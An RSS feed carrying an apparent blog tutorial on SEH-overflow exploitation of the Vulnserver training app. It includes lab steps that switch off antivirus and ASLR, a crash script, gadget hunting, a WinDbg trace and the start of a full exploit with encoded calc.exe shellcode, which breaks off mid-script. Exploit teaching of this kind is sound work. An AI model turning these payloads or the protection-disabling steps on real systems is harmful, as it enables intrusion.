<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>SEH on 4w4647's Blog</title><link>https://4w4647.github.io/tags/seh/</link><description>Recent content in SEH on 4w4647's Blog</description><image><title>4w4647's Blog</title><url>https://4w4647.github.io/img/avatar.jpeg</url><link>https://4w4647.github.io/img/avatar.jpeg</link></image><generator>Hugo</generator><language>en</language><lastBuildDate>Fri, 01 May 2026 13:17:42 +0545</lastBuildDate><atom:link href="https://4w4647.github.io/tags/seh/index.xml" rel="self" type="application/rss+xml"/><item><title>SEH Overflows - Hijacking Windows Exception Handlers</title><link>https://4w4647.github.io/posts/seh-overflows-hijacking-windows-exception-handlers/</link><pubDate>Fri, 01 May 2026 13:17:42 +0545</pubDate><guid>https://4w4647.github.io/posts/seh-overflows-hijacking-windows-exception-handlers/</guid><description>A technical walkthrough of SEH-based exploitation on x86 Windows - overwriting exception handler records, POP POP RET mechanics, and island hopping with short and near jumps to deliver shellcode.</description><content:encoded><![CDATA[<h2 id="lab-setup">Lab Setup</h2>
<p>Three things need to be sorted on the Windows lab machine before any of this works cleanly.</p>
<p><strong>Antivirus off.</strong> Shellcode and exploit scripts will be flagged and quarantined before they ever run. Real-time protection, tamper protection, SmartScreen, all of it needs to go. Turn off tamper protection first, then real-time protection. If you do it the other way around, Defender re-enables itself.</p>
<p><strong>ASLR disabled system-wide.</strong> Windows randomizes module base addresses by default, which means every time the program runs, the modules load at different addresses. For foundational exploit development you need those addresses to stay the same between runs so any gadget address you hardcode in a payload is still valid the next time. This registry key forces that:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="cl">reg add <span class="s2">&#34;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&#34;</span> /v MoveImages /t REG_DWORD /d 0 /f
</span></span></code></pre></div><p>Reboot after applying it.</p>
<p><strong>DEP disabled for the target binary.</strong> Data Execution Prevention marks stack memory as non-executable at the OS level. If it is enabled, the CPU will refuse to execute code sitting on the stack even if you redirect execution there perfectly. For this lab the binary gets compiled without NX compatibility so the stack stays executable. In real targets this protection gets bypassed with ROP chains rather than compiled away, but that comes later.</p>
<hr>
<h2 id="what-is-structured-exception-handling">What is Structured Exception Handling?</h2>
<p>Windows has a built-in mechanism for handling errors at runtime. When something goes wrong inside a running process, like a null pointer dereference, a divide by zero, or an access violation, Windows does not just kill the process immediately. It first gives the process a chance to deal with the exception through a system called Structured Exception Handling, or SEH.</p>
<p>In C code you interact with SEH through <code>__try</code> and <code>__except</code> blocks:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kr">__try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// code that might crash
</span></span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kr">__except</span><span class="p">(</span><span class="n">EXCEPTION_EXECUTE_HANDLER</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// this runs if something goes wrong
</span></span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;exception caught</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Under the hood the compiler translates this into a data structure that gets pushed onto the stack. That structure is called an <code>_EXCEPTION_REGISTRATION_RECORD</code> and it has exactly two fields:</p>
<pre tabindex="0"><code>0:003&gt; dt ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next     : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler  : Ptr32 _EXCEPTION_DISPOSITION
</code></pre><p><code>Next</code> is a pointer to the next record in the chain. <code>Handler</code> is the address of the function to call when an exception occurs. Each record is 8 bytes. Multiple records are linked together on the stack forming a singly linked list. The last record in the chain has <code>0xffffffff</code> as its <code>Next</code> pointer, which signals the end of the chain. If Windows walks the entire chain without any handler dealing with the exception, it gives up and calls WerFault.</p>
<p>The head of the chain is always stored at <code>FS:[0]</code> in the Thread Environment Block. In WinDbg you can verify this directly:</p>
<pre tabindex="0"><code>dd fs:[0]
</code></pre><p>And the <code>!exchain</code> command walks and displays the entire chain in a readable format.</p>
<hr>
<h2 id="why-seh-overflows-are-different-from-standard-stack-overflows">Why SEH Overflows Are Different From Standard Stack Overflows</h2>
<p>In a standard stack overflow the overflow needs to reach the saved return address. The function then has to complete its execution and run through the epilogue before <code>ret</code> fires and redirects execution. If the stack is corrupted badly enough that the epilogue fails, the exploit fails.</p>
<p>SEH exploitation does not have this problem. The goal is to overflow past the saved return address and keep going until the overflow reaches an SEH record sitting further up the stack. Once that record is overwritten with controlled values, the exploit triggers an exception on purpose, typically the access violation caused by the overflow itself. Windows then walks the SEH chain, finds the overwritten record, and calls the <code>Handler</code> address. If that address points to useful code, execution has been hijacked without the function ever needing to return cleanly.</p>
<p>This makes SEH-based exploitation more reliable in situations where the stack is heavily corrupted.</p>
<hr>
<h2 id="the-vulnerable-code">The Vulnerable Code</h2>
<p>Vulnserver&rsquo;s <code>GMON</code> command handler checks the length of the received input before calling the vulnerable function:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">RecvBuf</span><span class="p">,</span> <span class="s">&#34;GMON &#34;</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">GmonStatus</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#34;GMON STARTED</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">RecvBufLen</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">RecvBuf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">&#39;/&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nf">strlen</span><span class="p">(</span><span class="n">RecvBuf</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">3950</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">Function3</span><span class="p">(</span><span class="n">RecvBuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><p>The input only reaches <code>Function3</code> if it exceeds 3950 bytes. This matters later when we build the payload. Any payload shorter than 3950 bytes total will be silently ignored.</p>
<p><code>Function3</code> is where the actual vulnerability lives:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">Function3</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">Input</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">Buffer2S</span><span class="p">[</span><span class="mi">2000</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">Buffer2S</span><span class="p">,</span> <span class="n">Input</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>strcpy</code> copies the full input into a 2000-byte buffer with no length check. Send more than 2000 bytes past the function call and it overflows <code>Buffer2S</code>, walks up the stack past saved EBP, past the return address, and eventually reaches SEH records sitting further up the stack.</p>
<hr>
<h2 id="crashing-the-service-and-finding-offsets">Crashing the Service and Finding Offsets</h2>
<p>The first step is sending a long cyclic pattern to trigger the crash and overwrite the SEH chain with known pattern bytes.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pwn</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pattern</span> <span class="o">=</span> <span class="n">pwn</span><span class="o">.</span><span class="n">cyclic</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s2">&#34;192.168.122.85&#34;</span><span class="p">,</span> <span class="mi">9999</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;GMON /.:/&#34;</span> <span class="o">+</span> <span class="n">pattern</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><p>Note the prefix <code>GMON /.:/ </code> in the command. The <code>/</code> character is what triggers the length check inside the <code>GMON</code> handler. Without it the vulnerable code path is never reached.</p>
<p>With vulnserver running under WinDbg, the crash looks like this:</p>
<pre tabindex="0"><code>(1ea0.14d0): Access violation - code c0000005 (first chance)
eax=7efefefe ebx=0000013c ecx=007c45c8 edx=7a6a6261 esi=00401848 edi=00f80000
eip=77aab649 esp=00f7f1d4 ebp=00f7f9c4
msvcrt!strcat+0x89:
77aab649 8917    mov dword ptr [edi],edx
</code></pre><p>Running <code>!exchain</code> shows the overwritten SEH chain:</p>
<pre tabindex="0"><code>0:003&gt; !exchain
00f7ffcc: 6e6a6261
Invalid exception stack at 6d6a6261
</code></pre><p>Both fields of the SEH record contain cyclic pattern bytes. Using pwntools to find the offsets:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pwn cyclic -l 0x6e6a6261   <span class="c1"># 3547 -&gt; handler offset</span>
</span></span><span class="line"><span class="cl">pwn cyclic -l 0x6d6a6261   <span class="c1"># 3543 -&gt; nSEH offset</span>
</span></span></code></pre></div><p>The <code>nSEH</code> field (<code>Next</code>) starts at offset 3543 from the beginning of the input. The <code>Handler</code> field starts at offset 3547, four bytes later.</p>
<p>Verifying with marker values:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">nseh</span>    <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="mh">0xbeefdead</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">handler</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="mh">0xdeadbeef</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span>  <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="mi">3543</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">nseh</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">handler</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">3950</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span></code></pre></div><p>Result:</p>
<pre tabindex="0"><code>0:003&gt; !exchain
00f5ffcc: deadbeef       &lt;- handler confirmed at offset 3547
Invalid exception stack at beefdead  &lt;- nSEH confirmed at offset 3543
</code></pre><p>Both offsets confirmed.</p>
<hr>
<h2 id="how-windows-calls-the-handler">How Windows Calls the Handler</h2>
<p>Understanding exactly what happens when Windows calls the exception handler is critical for understanding why <code>POP POP RET</code> works.</p>
<p>When an exception fires, Windows calls the registered <code>Handler</code> function like a standard cdecl call. Before jumping to it, Windows pushes four arguments onto the stack. The handler&rsquo;s signature is:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">EXCEPTION_DISPOSITION</span> <span class="nf">handler</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">EXCEPTION_RECORD</span> <span class="o">*</span><span class="n">ExceptionRecord</span><span class="p">,</span>   <span class="c1">// [ESP+4]  info about the exception
</span></span></span><span class="line"><span class="cl">    <span class="kt">void</span>             <span class="o">*</span><span class="n">EstablisherFrame</span><span class="p">,</span>  <span class="c1">// [ESP+8]  address of the SEH record
</span></span></span><span class="line"><span class="cl">    <span class="n">CONTEXT</span>          <span class="o">*</span><span class="n">ContextRecord</span><span class="p">,</span>     <span class="c1">// [ESP+12] full CPU state at crash time
</span></span></span><span class="line"><span class="cl">    <span class="kt">void</span>             <span class="o">*</span><span class="n">DispatcherContext</span>  <span class="c1">// [ESP+16] internal dispatcher info
</span></span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div><p>At the moment the handler starts executing, the stack looks like this:</p>
<pre tabindex="0"><code>High Address
[ DispatcherContext ptr   ]  [ESP+16]
[ ContextRecord ptr       ]  [ESP+12]
[ EstablisherFrame ptr    ]  [ESP+8]   &lt;- points directly at the nSEH field
[ ExceptionRecord ptr     ]  [ESP+4]
[ return address          ]  [ESP]     &lt;- ESP points here
Low Address
</code></pre><p>The second argument, <code>EstablisherFrame</code> at <code>[ESP+8]</code>, holds the address of the SEH record being dispatched. That is the address of the <code>nSEH</code> field, which is exactly where the jump to shellcode needs to be placed.</p>
<p>You can inspect the <code>EXCEPTION_RECORD</code> and <code>CONTEXT</code> structures directly in WinDbg:</p>
<pre tabindex="0"><code>0:003&gt; dt ntdll!_EXCEPTION_RECORD
   +0x000 ExceptionCode    : Int4B
   +0x004 ExceptionFlags   : Uint4B
   +0x008 ExceptionRecord  : Ptr32 _EXCEPTION_RECORD
   +0x00c ExceptionAddress : Ptr32 Void
   +0x010 NumberParameters : Uint4B

0:003&gt; dt ntdll!_CONTEXT
   +0x000 ContextFlags     : Uint4B
   +0x09c Edi              : Uint4B
   +0x0a0 Esi              : Uint4B
   +0x0b8 Eip              : Uint4B
   +0x0c4 Esp              : Uint4B
</code></pre><p>The <code>CONTEXT</code> structure contains a full snapshot of every CPU register at the moment the exception occurred. A legitimate handler would use this to inspect what went wrong and potentially resume execution. For exploitation purposes, none of it matters. The only thing that matters is <code>EstablisherFrame</code> at <code>[ESP+8]</code>.</p>
<hr>
<h2 id="pop-pop-ret-explained">POP POP RET Explained</h2>
<p>A direct <code>RET</code> from the handler would pop whatever is at ESP into EIP. At that moment ESP points at the return address, which goes back into Windows exception dispatcher code. That is not useful.</p>
<p>Two <code>POP</code> instructions move ESP forward by 8 bytes total, skipping past the return address and the <code>ExceptionRecord</code> pointer. After two pops, ESP is pointing at <code>EstablisherFrame</code>. Then <code>RET</code> pops that value into EIP and the CPU jumps to the <code>nSEH</code> field.</p>
<p>Walking through it step by step:</p>
<pre tabindex="0"><code>; Starting state: ESP points at return address
POP ECX   ; read [ESP] into ECX (discarded), ESP moves to [ESP+4]
POP ECX   ; read [ESP] into ECX (discarded), ESP moves to [ESP+8]
RET       ; read [ESP] into EIP (EstablisherFrame = address of nSEH), jump there
</code></pre><p>The register used for each <code>POP</code> does not matter at all. The values are thrown away. Any two-register combination works: <code>POP ECX POP ECX</code>, <code>POP EBX POP EAX</code>, <code>POP EDI POP ESI</code>. The only requirement is two POPs followed immediately by a RET.</p>
<hr>
<h2 id="finding-a-pop-pop-ret-gadget">Finding a POP POP RET Gadget</h2>
<p>Not every module is safe to pull a gadget from. SafeSEH is a Windows protection that validates SEH handler addresses before calling them. If the handler address is not in the module&rsquo;s SafeSEH table, Windows rejects it and the exploit fails.</p>
<p>The way to check a module for SafeSEH is by examining its PE header characteristics. <code>essfunc.dll</code>, the companion DLL that ships with vulnserver, has zero DLL characteristics:</p>
<pre tabindex="0"><code>0:000&gt; !dh 62500000
0  DLL characteristics
0  [0] address [size] of Load Configuration Directory
</code></pre><p>Zero DLL characteristics means no SafeSEH flag. No Load Configuration Directory means no SafeSEH table. Addresses from <code>essfunc</code> are valid for SEH handler overwrites.</p>
<p>Searching <code>essfunc</code> for <code>POP POP RET</code> (opcodes <code>59 59 C3</code>):</p>
<pre tabindex="0"><code>0:000&gt; s 0x62500000 L0x8000 59 59 c3
6250120b  59 59 c3 5d c3 55 89 e5...
</code></pre><p>The length <code>0x8000</code> comes from the module size in <code>lm</code> output: <code>62508000 - 62500000 = 8000</code>.</p>
<p>Verifying the gadget:</p>
<pre tabindex="0"><code>0:000&gt; u 0x6250120b L3
essfunc!EssentialFunc9+0xb:
6250120b 59    pop ecx
6250120c 59    pop ecx
6250120d c3    ret
</code></pre><p>Confirmed. The address <code>0x6250120b</code> contains no null bytes (<code>62 50 12 0b</code>), so <code>strcpy</code> will not truncate the payload at this point.</p>
<hr>
<h2 id="the-island-hopping-problem">The Island Hopping Problem</h2>
<p>With the offsets and gadget confirmed, <code>nSEH</code> needs to contain a jump that eventually reaches shellcode. The natural instinct is to put shellcode right after the handler field and use a short forward jump in <code>nSEH</code>. But there is a serious problem with that approach.</p>
<p>After the SEH record at offset 3547, the stack is very close to a page boundary. There are only a handful of bytes of mapped memory before <code>0x01000000</code>. A 220-byte shellcode simply does not fit.</p>
<p>The shellcode needs to live in the filler area before the SEH record, where there is over 3500 bytes of available space. But <code>nSEH</code> is only 4 bytes, and a short jump (<code>\xeb</code>) can only reach 127 bytes forward or 128 bytes backward. Shellcode at the start of the payload is thousands of bytes away.</p>
<p>The solution is a two-stage jump called island hopping:</p>
<ol>
<li><code>nSEH</code> contains a short jump backward 128 bytes, landing in the filler area</li>
<li>At the landing point, a near jump (<code>\xe9</code>) with a 4-byte signed offset jumps all the way back to the NOP sled</li>
</ol>
<p>A near jump can reach plus or minus 2GB. No distance restriction whatsoever.</p>
<p>Here is the layout:</p>
<pre tabindex="0"><code>Offset 0      : NOP sled (16 bytes)
Offset 16     : Shellcode (220 bytes)
Offset 236    : A filler
Offset 3417   : Near jump (5 bytes, jumps back to offset 0)
Offset 3422   : A filler
Offset 3543   : nSEH = \xeb\x80\x90\x90 (short jump back 128 bytes to near jump)
Offset 3547   : Handler = 0x6250120b (PPR gadget in essfunc.dll)
Offset 3551   : A padding
Total         : 3950 bytes
</code></pre><p><code>\xeb\x80</code> is the short jump. <code>\xeb</code> is the opcode, <code>\x80</code> is the signed offset. In two&rsquo;s complement, <code>0x80</code> is -128, meaning jump 128 bytes backward from the end of the instruction. The two <code>\x90</code> NOP bytes pad <code>nSEH</code> to the required 4 bytes.</p>
<p>The near jump offset calculation:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># Near jump sits at offset 3417</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Target is offset 0 (start of NOP sled)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Offset = 0 - (3417 + 5) = -3422</span>
</span></span><span class="line"><span class="cl"><span class="c1"># The +5 accounts for the 5-byte instruction itself</span>
</span></span><span class="line"><span class="cl"><span class="n">near_jump</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xe9</span><span class="s2">&#34;</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;i&#34;</span><span class="p">,</span> <span class="o">-</span><span class="mi">3422</span><span class="p">)</span>
</span></span></code></pre></div><hr>
<h2 id="execution-trace">Execution Trace</h2>
<p>Full WinDbg trace of the exploit firing:</p>
<p><strong>PPR breakpoint hit:</strong></p>
<pre tabindex="0"><code>Breakpoint 0 hit
eip=6250120b esp=010ce5d8
essfunc!EssentialFunc9+0xb:
6250120b 59    pop ecx
</code></pre><p><strong>First POP discards return address:</strong></p>
<pre tabindex="0"><code>eip=6250120c esp=010ce5dc
6250120c 59    pop ecx
</code></pre><p><strong>Second POP discards ExceptionRecord pointer:</strong></p>
<pre tabindex="0"><code>eip=6250120d esp=010ce5e0
6250120d c3    ret
</code></pre><p><strong>RET pops EstablisherFrame into EIP, landing on nSEH:</strong></p>
<pre tabindex="0"><code>eip=010cffcc esp=010ce5e4
010cffcc eb80    jmp 010cff4e
</code></pre><p><strong>Short jump fires, lands on near jump in filler:</strong></p>
<pre tabindex="0"><code>eip=010cff4e
010cff4e e9a2f2ffff    jmp 010cf1f5
</code></pre><p><strong>Near jump fires, lands in NOP sled:</strong></p>
<pre tabindex="0"><code>eip=010cf1f5
010cf1f5 90    nop
</code></pre><p><strong>Memory at landing, NOP sled into shellcode:</strong></p>
<pre tabindex="0"><code>0:003&gt; db eip L30
010cf1f5  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
010cf205  d9 cb bd 4a 6d 32 a0 d9-74 24 f4 5b 29 c9 b1 31  ...Jm2..t$.[)..1
010cf215  31 6b 18 83 eb fc 03 6b-5e 8f c7 5c b6 cd 28 9d  1k.....k^..\..(.
</code></pre><p>16 NOPs followed immediately by the first bytes of the shikata_ga_nai encoded shellcode. The decoder runs, unpacks the payload, and <code>calc.exe</code> opens on the target.</p>
<hr>
<h2 id="the-full-exploit">The Full Exploit</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">TARGET_IP</span>   <span class="o">=</span> <span class="s2">&#34;192.168.122.85&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">TARGET_PORT</span> <span class="o">=</span> <span class="mi">9999</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Target     : </span><span class="si">{</span><span class="n">TARGET_IP</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">TARGET_PORT</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Gadget     : PPR @ 0x6250120b (essfunc.dll, no SafeSEH)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Bad chars  : </span><span class="se">\\</span><span class="s2">x00&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Encoder    : x86/shikata_ga_nai&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Payload    : windows/exec CMD=calc.exe&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># msfvenom -p windows/exec CMD=calc.exe -b &#34;\x00&#34; -f python</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span>  <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xd9\xcb\xbd\x4a\x6d\x32\xa0\xd9\x74\x24\xf4\x5b</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x29\xc9\xb1\x31\x31\x6b\x18\x83\xeb\xfc\x03\x6b</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x5e\x8f\xc7\x5c\xb6\xcd\x28\x9d\x46\xb2\xa1\x78</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x77\xf2\xd6\x09\x27\xc2\x9d\x5c\xcb\xa9\xf0\x74</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x58\xdf\xdc\x7b\xe9\x6a\x3b\xb5\xea\xc7\x7f\xd4</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x68\x1a\xac\x36\x51\xd5\xa1\x37\x96\x08\x4b\x65</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x4f\x46\xfe\x9a\xe4\x12\xc3\x11\xb6\xb3\x43\xc5</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x0e\xb5\x62\x58\x05\xec\xa4\x5a\xca\x84\xec\x44</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x0f\xa0\xa7\xff\xfb\x5e\x36\xd6\x32\x9e\x95\x17</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xfb\x6d\xe7\x50\x3b\x8e\x92\xa8\x38\x33\xa5\x6e</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x43\xef\x20\x75\xe3\x64\x92\x51\x12\xa8\x45\x11</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x18\x05\x01\x7d\x3c\x98\xc6\xf5\x38\x11\xe9\xd9</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xc9\x61\xce\xfd\x92\x32\x6f\xa7\x7e\x94\x90\xb7</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x21\x49\x35\xb3\xcf\x9e\x44\x9e\x85\x61\xda\xa4</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xeb\x62\xe4\xa6\x5b\x0b\xd5\x2d\x34\x4c\xea\xe7</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x71\x9f\x71\x97\xed\x48\xdc\x32\x50\x15\xdf\xe8</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x96\x20\x5c\x19\x66\xd7\x7c\x68\x63\x93\x3a\x80</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x19\x8c\xae\xa6\x8e\xad\xfa\xc4\x51\x3e\x66\x25</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xf4\xc6\x0d\x39</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
